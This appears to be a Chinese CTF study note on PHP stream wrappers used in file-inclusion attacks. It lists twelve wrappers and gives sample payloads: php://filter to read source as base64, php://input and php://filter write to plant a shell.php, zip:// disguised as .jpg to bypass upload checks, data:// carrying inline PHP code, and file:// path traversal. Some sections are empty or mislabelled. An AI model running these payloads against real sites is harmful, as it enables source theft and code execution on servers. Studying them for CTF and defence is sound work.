php 伪协议

一、前言:

经常遇到php伪协议,特别是CTF比赛,还有一些线下的比赛,这里我系统的总结一下。

二、概念:

php伪协议一共有12种。

伪协议|描述
:–:|:–:|–
file://|访问本地文件系统
http://|访问http(s)网址
ftp://|访问ftp(s)urls
php://|访问各个输入输出流
zlib://|压缩包
data://|数据
glob://|查找匹配的文件路径模式
phar://|php归档
ssh2://|secure shell 2
rar://|RAR
ogg://|音频流
expect://|处理交互的流

三、实现:

1、php://

php://stdin、php://stdout 和 php://stderr 允许直接访问 PHP 进程相应的输入或者输出流。
php://stdin是只读的,php://stdout 和 php://stderr 是只写的。

2、php://input

php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

3、php://fd

php://fd

4、php://memory和php://temp

php://memory 和 php://temp 是一个类似文件 包装器的数据流,允许读写临时数据。 两者的唯一区别是 php://memory 总是把数据储存在内存中, 而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。 临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
php://temp 的内存限制可通过添加 /maxmemory:NN 来控制,NN 是以字节为单位、保留在内存的最大数据量,超过则使用临时文件。

5、php://input

1)访问只读流
php://input 是个可以访问请求的原始数据的只读流。因为它不依赖于特定的 php.ini 指令。

1
?file=class.php&pass=&user=php://input

注:enctype=”multipart/form-data” 的时候 php://input 是无效的。
2)获取路径:

3)查看phpinfo()

4)写入shell

6、php://filter

(1)查看源码

1
2
3
file=php://filter/read=convert.base64-encode/resource=class.php
//file=php://filter/read=string.rot13/resource=class.php
//file=php://filter/read=string.toupper|string.rot13/resource=class.php

1)加密解密
convert.base64-encode & convert.base64-decode
2)其他转换
string.rot13
进行rot13转换 string.toupper
将字符全部大写 string.tolower
将字符全部小写 string.strip_tags

(2)写入代码

1
php://filter/write=convert.base64-decode/resource=shell.php

7、zip://,bzip2://,zlib://

直接访问压缩包里的文件。
1)zip://

1
zip://绝对路径+文件.zip

将phpinfo.txt压缩成zip,实战中可以改后缀为jpg绕过上传限制。

1
?file=zip://C:/phpStudy/PHPTutorial/WWW/lsawebtest/phptest\phpinfo.jpg%23phpinfo.txt

注意要用绝对路径+url编码#
2)bzip2://

1
bzip2://绝对路径+文件.zip

3)zlib://

1
zlib://绝对路径+文件.zip

或者,zip:// [压缩文件绝对路径]#[压缩文件内的子文件名],compress.zlib://

1
?file=compress.zlib://C:/phpStudy/PHPTutorial/WWW/lsawebtest/phptest/phpinfo.txt.gz

改后缀为jpg亦可,相对路径亦可。

8、data://

data:text//plain

1
2
file=data:text//plain,<?php phpinfo();?>
file=data:text//plain;base64,PD9waHAgcGhwaW5mbygpPz4=

9、file://

1
?page = file://../../../../flag.txt

10、ftp://

1
?page = ftp://+ip+文件

四、总结

php://filter/read=convert.base64-encode/resource=class.php

五、参考:

https://blog.csdn.net/szuaurora/article/details/78141126
https://www.freebuf.com/column/148886.html
https://blog.dyboy.cn/websecurity/28.html